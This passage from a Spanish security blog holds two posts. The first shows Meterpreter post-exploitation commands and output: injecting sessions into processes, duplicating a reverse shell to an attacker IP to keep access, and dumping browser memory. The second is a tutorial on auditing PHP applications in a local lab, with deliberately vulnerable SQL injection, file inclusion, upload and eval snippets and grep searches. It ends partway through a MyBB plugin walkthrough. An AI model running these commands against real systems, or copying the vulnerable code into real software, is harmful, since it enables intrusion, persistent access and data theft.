[+] Successfully injected Meterpreter in to process: 792</td>
</tr>
</tbody>
</table>
Con el comando anterior, se han creado dos sesiones meterpreter
controladas por el atacante en las direcciones 192.168.1.36 y
192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han
sido insertadas en los procesos 628 y 792 respectivamente, cada uno de
estos procesos corresponde a un programa en ejecución en la maquina
comprometida.<br />
<h2>
duplicate</h2>
Este script tiene una funcionalidad bastante similar al script
multi_meter_inject ya que se encarga de replicar la sesión meterpreter
en otro proceso del sistema operativo con el fin de que sea difícil
cerrar el acceso desde la maquina atacada a la maquina del atacante<br />
<table border="1" cellpadding="4" cellspacing="0" style="width: 100%px;">
<colgroup><col width="256*"></col>
</colgroup><tbody>
<tr>
<td valign="TOP" width="100%"><strong>meterpreter > run duplicate -h</strong>
OPTIONS:<br />
-D Disable the automatic multi/handler (use with -r to accept on another system)<br />
-P <opt> Process id to inject into; use instead of -e if multiple copies of one executable are running.</opt><br />
-e <opt> Executable to inject into. Default notepad.exe, will fall back to spawn if not found.</opt><br />
-h This help menu<br />
-p <opt> The port on the remote host where Metasploit is listening (default: 4546)</opt><br />
-r <opt> The IP of a remote Metasploit listening for the connect back</opt><br />
-s Spawn new executable to inject to. Only useful with -P.<br />
-w Write and execute an exe instead of injecting into a process</td>
</tr>
</tbody>
</table>
A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros<br />
<table border="1" cellpadding="4" cellspacing="0" style="width: 100%px;">
<colgroup><col width="256*"></col>
</colgroup><tbody>
<tr>
<td valign="TOP" width="100%"><strong>meterpreter > run duplicate -r 192.168.1.34 -p 4444</strong>
[*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444<br />
[*] Running payload handler<br />
[*] Current server process: sgiByfbLo.exe (1780)<br />
[*] Duplicating into notepad.exe…<br />
[*] Injecting meterpreter into process ID 3884<br />
[*] Allocated memory at address 0x00e10000, for 290 byte stager<br />
[*] Writing the stager into memory…<br />
[*] New server process: 3884</td>
</tr>
</tbody>
</table>
Con la maquina 192.168.1.34 controlada por el atacante en el puerto
4444 recibirá el stager correspondiente a la sesión meterpreter
replicada.<br />
<h2>
process_memdump</h2>
En una entrada anterior se ha indicado el uso de pmdump para realizar
un volcado de memoria usando un script de meterpreter externo al
framework, con este comando se puede llevar a cabo esta misma tarea,
solamente que en lugar de utilizar pmdump se utiliza memdump sobre el
proceso seleccionado<br />
<table border="1" cellpadding="4" cellspacing="0" style="width: 100%px;">
<colgroup><col width="256*"></col>
</colgroup><tbody>
<tr>
<td valign="TOP" width="100%"><strong>meterpreter > run process_memdump -h</strong>
USAGE:<br />
EXAMPLE: run process_dump putty.exe<br />
EXAMPLE: run process_dump -p 1234<br />
OPTIONS:<br />
-h Help menu.<br />
-n <opt> Name of process to dump.</opt><br />
-p <opt> PID of process to dump.</opt><br />
-q Query the size of the Process that would be dump in bytes.<br />
-r <opt> Text file wih list of process names to dump memory for, one per line.</opt><br />
-t toggle location information in dump.</td>
</tr>
</tbody>
</table>
Un ejemplo del uso de este script puede ser:<br />
<table border="1" cellpadding="4" cellspacing="0" style="width: 100%px;"><colgroup><col width="256*"></col>
</colgroup><tbody>
<tr>
<td valign="TOP" width="100%"><strong>meterpreter > run process_memdump -p 556</strong>
[*] Dumping memory for iexplore.exe<br />
[*] Dumping Memory of iexplore.exe with PID: 556<br />
[*] base size = 64<br />
[*] base size = 128<br />
[*] base size = 192<br />
[*] base size = 1224<br />
[*] base size = 1228<br />
[*] base size = 1280<br />
[*] base size = 1344<br />
[*] base size = 2368<br />
[*] base size = 2432<br />
[*] base size = 2496<br />
[*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp</td></tr>
</tbody></table>
<br />
<br />
Fuente: http://thehackerway.com/2011/06/10/359/<br />
Anonymoushttp://www.blogger.com/profile/14889995492496981061noreply@blogger.com0tag:blogger.com,1999:blog-3341002719381872485.post-83710790340025868082014-11-30T10:27:00.003-08:002014-11-30T10:27:31.967-08:00Encontrando 0-days en Aplicaciones Webs <div style="text-align: justify;">
<b><u>1.- CREACIÓN DE UN ENTORNO DE AUDITORIA</u></b>:</div>
<div style="text-align: justify;">
<br />
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
¿<u>Por qué utilizar un entorno de Auditoria</u>?</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
Simplemente se puede descargar el código que deseemos auditar,
seguidamente se puede analizar el código utilizando un editor de texto
en busca de vulnerabilidades.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Esto no es preferible, ya que hay una posibilidad muy alta de que falten
cosas y seguramente tomará mucho más tiempo que mediante el uso de un
entorno de Auditoria.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<u>Web Server</u>:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar <a href="http://www.apachefriends.org/en/xampp.html">XAMPP</a> o cualquier otro sistema que permita analizar estas aplicaciones localmente.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
¿<u>Que es lo que vamos a Auditar</u>?</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas
adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo
realmente queremos auditar.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
Si en estos casos vamos por un CMS independiente o simplemente una
aplicación PHP que no, por supuesto, necesitamos algunos de los
anteriores, pero es probable que en algún momento del tiempo pase a un
blog de WordPress o un foro MyBB.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b><u>MyBB</u></b></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<u>Descarga</u>: <a href="http://www.mybb.com/downloads">http://www.mybb.com/downloads</a></div>
<div style="text-align: justify;">
<u>Guía de Instalación</u>: <a href="http://docs.mybb.com/Installing.html">http://docs.mybb.com/Installing.html</a></div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/Yg0G9.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="241" src="http://i.imgur.com/Yg0G9.jpg" width="400" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b><u>WordPress</u></b></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
Descarga: <a href="http://wordpress.org/download/">http://wordpress.org/download/</a></div>
<div style="text-align: justify;">
Guía de Instalación: <a href="http://codex.wordpress.org/Installing_WordPress">http://codex.wordpress.org/Installing_WordPress</a></div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/aBafF.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="236" src="http://i.imgur.com/aBafF.jpg" width="400" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b><u>Joomla</u></b></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<u>Descarga</u>: <a href="http://www.joomla.org/download.html">http://www.joomla.org/download.html</a></div>
<div style="text-align: justify;">
<u>Guía de Instalación</u>: <a href="http://www.joomla.org/about-joomla/getting-started.html">http://www.joomla.org/about-joomla/getting-started.html</a></div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/xFM55.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="196" src="http://i.imgur.com/xFM55.png" width="400" /></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<b><u>SMF:</u></b></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<u>Descarga</u>: <a href="http://download.simplemachines.org/">http://download.simplemachines.org/</a></div>
<div style="text-align: justify;">
<u>Guía de Instalación</u>: <a href="http://wiki.simplemachines.org/smf/Installing">http://wiki.simplemachines.org/smf/Installing</a></div>
<div style="text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.internavegacion.com/wp-content/uploads/2012/07/smf-logo-forum.png" style="margin-left: 1em; margin-right: 1em;"><span style="display: inline-block; position: relative;"><img border="0" height="400" src="http://www.internavegacion.com/wp-content/uploads/2012/07/smf-logo-forum.png" width="400" /></span></a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<b><u>2.- LO QUE DEBEMOS BUSCAR</u></b>:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<u>User input</u>:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
La mayoría de vulnerabilidades son posibles porque el programador del
archivo php olvida la validacion de entrada. Esto ocurre mayormente con
las vulnerabilidades de <b>SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload</b> y muchos mas.</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
---------------------------------------------------------------------------------------------</div>
<div style="text-align: justify;">
<span style="color: #6fa8dc;">$_GET</span></div>
<div style="text-align: justify;">
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.</div>
<div style="text-align: justify;">
<a href="http://php.net/manual/en/reserved.variables.get.php">http://php.net/manual/en/reserved.variables.get.php</a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<span style="color: #6fa8dc;">$_POST</span></div>
<div style="text-align: justify;">
<br />
Un array asociativo de variables pasadas al script actual mediante el método HTTP POST</div>
<div style="text-align: justify;">
<a href="http://php.net/manual/en/reserved.variables.post.php">http://php.net/manual/en/reserved.variables.post.php</a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<span style="color: #6fa8dc;">$_REQUEST</span></div>
<div style="text-align: justify;">
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.</div>
<div style="text-align: justify;">
<br />
<a href="http://php.net/manual/en/reserved.variables.request.php">http://php.net/manual/en/reserved.variables.request.php</a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<span style="color: #6fa8dc;">$_COOKIE</span></div>
<div style="text-align: justify;">
<br />
Un array asociativo de variables pasadas al script actual a través de cookies HTTP.</div>
<div style="text-align: justify;">
<br />
<a href="http://php.net/manual/en/reserved.variables.cookies.php">http://php.net/manual/en/reserved.variables.cookies.php</a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<span style="color: #6fa8dc;">$_SERVER</span></div>
<div style="text-align: justify;">
<br />
$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.</div>
<div style="text-align: justify;">
<br />
<a href="http://php.net/manual/en/reserved.variables.server.php">http://php.net/manual/en/reserved.variables.server.php</a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
<span style="color: #6fa8dc;">$_FILES</span></div>
<div style="text-align: justify;">
<br />
Una matriz asociativa de artículos subidos al script actual a través del<br />
método HTTP POST.</div>
<div style="text-align: justify;">
<a href="http://php.net/manual/en/reserved.variables.files.php">http://php.net/manual/en/reserved.variables.files.php</a></div>
<div style="text-align: justify;">
---------------------------------------------------------------------------------------------</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<u>Posibles Funciones Vulnerables</u>:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<u>Sql Injection</u>:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<br />
Ejemplo Vulnerable:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
---------------------------------------------------------------------------------------------</div>
<div style="text-align: justify;">
</div>
<span style="color: red;">$id = $_GET['id'];</span><br />
<span style="color: red;">$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );</span><br />
---------------------------------------------------------------------------------------------<br />
<br />
<ul>
<li>mysql_*</li>
<li>$db (Para MyBB, mira aquí para más información: <a href="http://docs.mybb.com/Plugins-Globals.html">http://docs.mybb.com/Plugins-Globals.html</a> y <a href="http://docs.mybb.com/Database_Methods.html">http://docs.mybb.com/Database_Methods.html</a></li>
<li>$wpdb (Para WordPress, mira aquí para más información: <a href="http://codex.wordpress.org/Class_Reference/wpdb">http://codex.wordpress.org/Class_Reference/wpdb</a></li>
</ul>
<br />
Existen un montón de posibilidades que las funciones de mysql sean
vulnerables, para ello podemos echar un vistazo al siguiente link para
obtener mas información sobre las funciones de MySql.<br />
<br />
<ul>
<li><a href="http://se1.php.net/manual/en/ref.mysql.php">http://se1.php.net/manual/en/ref.mysql.php</a></li>
</ul>
<div>
</div>
<div>
He aquí algunas funciones comunes que posiblemente sean vulnerables:</div>
<div>
<ul>
<li>mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.</li>
<li>mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.</li>
<li>mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.</li>
<li>mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.</li>
<li>mysql_num_rows - Devuelve el número de filas en el resultado.</li>
<li>mysql_result - Obtener datos de resultado.</li>
</ul>
<div>
</div>
</div>
<div>
<u>File Inclusion</u>:</div>
<div>
</div>
<div>
<div style="text-align: justify;">
Ejemplo Vulnerable:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
---------------------------------------------------------------------------------------------<br />
<span style="color: red;"></span></div>
<br />
<span style="color: red;">$file = $_GET['file'];</span><br />
<span style="color: red;">if(isset($file))</span><br />
<span style="color: red;">{</span><br />
<span style="color: red;">include("pages/$file");</span><br />
<span style="color: red;">}</span><br />
<span style="color: red;">else</span><br />
<span style="color: red;">{</span><br />
<span style="color: red;">include("index.php");</span><br />
<span style="color: red;">}</span><br />
<span style="color: red;">?></span><br />
---------------------------------------------------------------------------------------------<br />
<br />
<ul>
<li>include()</li>
<li>require()</li>
</ul>
<br />
<span style="text-align: justify;">Si la aplicación no restringe cómo
incluir archivos que puede leer archivos locales y posiblemente ejecutar
archivos desde un servidor remoto (si allow_url_fopen está habilitado).</span></div>
<div>
</div>
<div>
<u>Upload</u>:</div>
<div>
</div>
---------------------------------------------------------------------------------------------<br />
<span style="color: red;"><br />
<span style="color: red;">$target_path = "uploads/";</span><br />
<span style="color: red;">$target_path = $target_path . basename($_FILES['uploadedfile']['name']);</span><br />
<span style="color: red;">if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {</span><br />
<span style="color: red;">echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";</span><br />
<span style="color: red;">} else {</span><br />
<span style="color: red;">echo "There was an error uploading the file, please try again!";</span><br />
<span style="color: red;">}</span><br />
<span style="color: red;">?></span><br />
---------------------------------------------------------------------------------------------<br />
<br />
<ul>
<li>$_FILES</li>
</ul>
<div>
</div>
<div>
Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.</div>
<div>
</div>
<div>
<u>Code Execution</u>:</div>
<div>
</div>
<div>
---------------------------------------------------------------------------------------------<br />
<span style="color: red;"><br />
<span style="color: red;">$myvar = "varname";</span><br />
<span style="color: red;">$x = $_GET['arg'];</span><br />
<span style="color: red;">eval("\$myvar = \$x;");</span><br />
<span style="color: red;">?></span><br />
---------------------------------------------------------------------------------------------<br />
<br />
<ul>
<li>passthru()</li>
<li>system()</li>
<li>eval()</li>
<li>exec()</li>
</ul>
<br />
<br />
<b><u>3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS</u></b>:<br />
<br />
<u>Editores de Texto</u>:<br />
<br />
Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus
funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la
apertura de directorios como "Proyectos" (muy útil) y una función de
búsqueda muy agradable.<br />
<br />
<u>Grep</u>:<br />
<br />
Grep es una utilidad de línea de comandos para la búsqueda de texto sin
formato, para las líneas que coincidan con una expresión regular. Grep
fue desarrollado originalmente para el sistema operativo Unix.<br />
<br />
Grep es una herramienta muy útil cuando se trata de realizar auditorias
hacia aplicaciones web. Supongamos que tenemos el siguiente código en
app.php:<br />
<br />
---------------------------------------------------------------------------------------------<br />
<span style="color: red;"><br />
<span style="color: red;">$header = $_GET['header'];</span><br />
<span style="color: red;">if(isset($header))</span><br />
<span style="color: red;">{</span><br />
<span style="color: red;">include("headers/$header");</span><br />
<span style="color: red;">}</span><br />
<span style="color: red;">else</span><br />
<span style="color: red;">{</span><br />
<span style="color: red;">include("headers/standard.php");</span><br />
<span style="color: red;">}</span><br />
<span style="color: red;"><br /></span>
<span style="color: red;">$id = $_GET['id'];</span><br />
<span style="color: red;">$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );</span><br />
<span style="color: red;">?></span><br />
---------------------------------------------------------------------------------------------<br />
<br />
Podríamos usar una línea de comandos:<br />
---------------------------------------------------------------------------------------------<br />
<span style="color: red;">$ grep _GET app.php</span><br />
---------------------------------------------------------------------------------------------<br />
<br />
Salida:<br />
---------------------------------------------------------------------------------------------<br />
<span style="color: red;">$header = $_GET['header'];</span><br />
<span style="color: red;">$id = $_GET['id'];</span><br />
---------------------------------------------------------------------------------------------<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/bsyO9.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="76" src="http://i.imgur.com/bsyO9.jpg" width="400" /></a></div>
</span></span></div>
<div>
</div>
<div>
Encontrar funciones mysql_*:</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
<span style="color: red;">grep include app.php</span></div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
Salida:</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
<div>
<span style="color: red;">include("headers/$header");</span></div>
<div>
<span style="color: red;">include("headers/standard.php");</span></div>
</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/XBvJZ.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="73" src="http://i.imgur.com/XBvJZ.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: justify;">
Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos
buscar la función include en todas ellas, entonces podríamos hacer algo
como esto:</div>
<div class="separator" style="clear: both; text-align: justify;">
---------------------------------------------------------------------------------------------</div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="color: red;">grep include *.php</span></div>
<div class="separator" style="clear: both; text-align: justify;">
---------------------------------------------------------------------------------------------</div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div class="separator" style="clear: both; text-align: justify;">
Salida:</div>
<div class="separator" style="clear: both; text-align: justify;">
---------------------------------------------------------------------------------------------</div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div class="separator" style="clear: both;">
<span style="color: red;">app2.php: include("headers/$header");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app2.php: include("headers/standard.php");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app3.php: include("headers/$header");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app3.php: include("headers/standard.php");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app.php: include("headers/$header");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app.php: include("headers/standard.php");</span></div>
<div class="separator" style="clear: both;">
---------------------------------------------------------------------------------------------</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/jKXjo.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="130" src="http://i.imgur.com/jKXjo.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: left;">
Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:</div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: red;">grep include *.php -n</span></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: left;">
Salida:</div>
<div class="separator" style="clear: both; text-align: left;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both;">
<span style="color: red;">app2.php:5: include("headers/$header");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app2.php:9: include("headers/standard.php");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app3.php:5: include("headers/$header");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app3.php:9: include("headers/standard.php");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app.php:5: include("headers/$header");</span></div>
<div class="separator" style="clear: both;">
<span style="color: red;">app.php:9: include("headers/standard.php");</span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;">Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:</span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;"><span style="color: red;">grep 'SELECT\|FROM' app.php -n</span></span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;"><br /></span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;">Salida:</span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;"><span style="color: red;">13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );</span></span></div>
<div class="separator" style="clear: both;">
<span style="text-align: justify;">---------------------------------------------------------------------------------------------</span></div>
<div class="separator" style="clear: both;">
<a href="http://i.imgur.com/yN65q.jpg" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="30" src="http://i.imgur.com/yN65q.jpg" width="400" /></a></div>
<br />
<br />
<div>
Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
<span style="color: red;">grep 'sEleCt\|FroM' app.php -n -i</span></div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
Salida:</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
<span style="color: red;">13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );</span></div>
<div>
---------------------------------------------------------------------------------------------</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/HfmQh.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://i.imgur.com/HfmQh.jpg" /></a></div>
<div>
</div>
<div>
<br />
Algunas otras herramientas para auditar archivos php: <a href="http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/">http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/</a></div>
<div>
</div>
<div>
<br />
<b><u>4.- AUDITORIA EN EL MUNDO REAL</u></b>:</div>
<div>
</div>
<div style="text-align: justify;">
<br />
Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:</div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<u>MyBB DyMy User Agent SQL Injection</u>:</div>
<div style="text-align: justify;">
<a href="http://www.exploit-db.com/exploits/23359/">http://www.exploit-db.com/exploits/23359/</a></div>
<div style="text-align: justify;">
</div>
<div style="text-align: justify;">
<div>
Vamos a descargar la aplicación vulnerable y colocarlo en nuestra
carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor
de texto:</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/0Zqu0.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="http://i.imgur.com/0Zqu0.jpg" width="353" /></a></div>
<div>
</div>
<div style="text-align: justify;">
Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:</div>
<div style="text-align: justify;">
---------------------------------------------------------------------------------------------</div>
<div style="text-align: justify;">
<div>
<span style="color: red;">grep "\$_GET" dymy_ua.php -i -n</span></div>
<div>
<span style="color: red;">grep "\$_GET" dymy_ua.php -i -n</span></div>
<div>
<span style="color: red;">grep "mysql_" dymy_ua.php -i -n</span></div>
<div>
<span style="color: red;">grep "include" dymy_ua.php -i -n</span></div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
Salida:</div>
<div>
Nada util.</div>
<div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/mZTLL.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="280" src="http://i.imgur.com/mZTLL.jpg" width="400" /></a></div>
<div>
</div>
</div>
</div>
<div>
¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
<div>
<span style="color: red;">function dymy_ua_install()</span></div>
<div>
<span style="color: red;">{</span></div>
<div>
<span style="color: red;">global $db;</span></div>
<div>
<span style="color: red;"><br /></span></div>
<div>
<span style="color: red;">$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");</span></div>
<div>
<span style="color: red;">}</span></div>
</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
<div>
Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un
vistazo a los siguientes documentos para obtener una mejor comprensión
de lo que está mal aquí:</div>
</div>
<div>
<ul>
<li><a href="http://docs.mybb.com/Plugins-Globals.html">http://docs.mybb.com/Plugins-Globals.html</a></li>
<li><a href="http://docs.mybb.com/Database_Methods.html">http://docs.mybb.com/Database_Methods.html</a></li>
</ul>
<div>
</div>
<div>
<div>
Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.</div>
<div>
</div>
<div>
Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las
interacciones de bases de datos. Volvamos a la terminal y probar algunas
cosas nuevas.</div>
</div>
</div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
<span style="color: red;">grep "\$db" dymy_ua.php -i -n</span> </div>
<div>
---------------------------------------------------------------------------------------------</div>
<div>
</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
<div>
<span style="color: red;">56: global $db;</span></div>
<div>
<span style="color: red;">58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");</span></div>
<div>
<span style="color: red;">63: global $db;</span></div>
<div>
<span style="color: red;">65: if($db->field_exists("useragent", "posts"))</span></div>
<div>
<span style="color: red;">75: global $db;</span></div>
<div>
<span style="color: red;">77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");</span></div>
<div>
<span style="color: red;">78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");</span></div>
<div>
<span style="color: red;">83: global $db;</span></div>
<div>
<span style="color: red;">85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");</span></div>
<div>
<span style="color: red;">86: $c = $db->fetch_field($q, "count");</span></div>
<div>
<span style="color: red;">87: $db->free_result($q);</span></div>
<div>
<span style="color: red;">95: $db->insert_query("templategroups", $ins);</span></div>
<div>
<span style="color: red;">101: "template" => $db->escape_string(' <img alt="{$os}" src="images/useragent/os/{$os}.png" title="{$os_name}" />'),</span></div>
<div>
<span style="color: red;">106: $db->insert_query("templates", $ins);</span></div>
<div>
<span style="color: red;">111: "template" => $db->escape_string('
<img alt="{$browser}" src="images/useragent/browser/{$browser}.png" title="{$browser_name}" />'),</span></div>
<div>
<span style="color: red;">116: $db->insert_query("templates", $ins);</span></div>
<div>
<span style="color: red;">125: global $db;</span></div>
<div>
<span style="color: red;">127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");</span></div>
</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://i.imgur.com/a2PC4.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="156" src="http://i.imgur.com/a2PC4.jpg" width="400" /></a></div>
<div>
</div>
<div>
Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:</div>
<div>
</div>
<div>
------------------------------------------------------------------------------------------------------------------</div>
<div>
<div>
<span style="color: red;">function dymy_ua_deactivate()</span></div>
<div>
